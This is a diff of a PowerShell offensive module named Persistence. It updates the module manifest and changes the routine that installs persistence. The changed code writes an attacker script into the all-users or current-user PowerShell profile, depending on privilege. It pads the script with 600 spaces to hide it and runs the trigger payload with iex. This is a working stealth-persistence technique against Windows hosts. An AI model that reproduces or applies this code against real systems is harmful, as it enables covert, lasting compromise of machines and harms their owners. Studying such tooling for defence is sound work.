diff options
Diffstat (limited to 'Persistence')
-rw-r--r-- | Persistence/Persistence.psd1 | 5 | ||||
-rw-r--r-- | Persistence/Persistence.psm1 | 3 |
2 files changed, 3 insertions, 5 deletions
diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index e17faf1..ffcd875 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Persistence.psm1' # Version number of this module. -ModuleVersion = '1.1.1.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '633d0f10-a056-41da-869d-6d2f75430195' @@ -24,9 +24,6 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - # List of all files packaged with this module FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md' diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 7528f2e..b27b981 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G {$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER} else {$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER} -' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo +mkdir (Split-Path -Parent $Prof) +(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo iex $Payload|Out-Null Write-Output $Payload} else |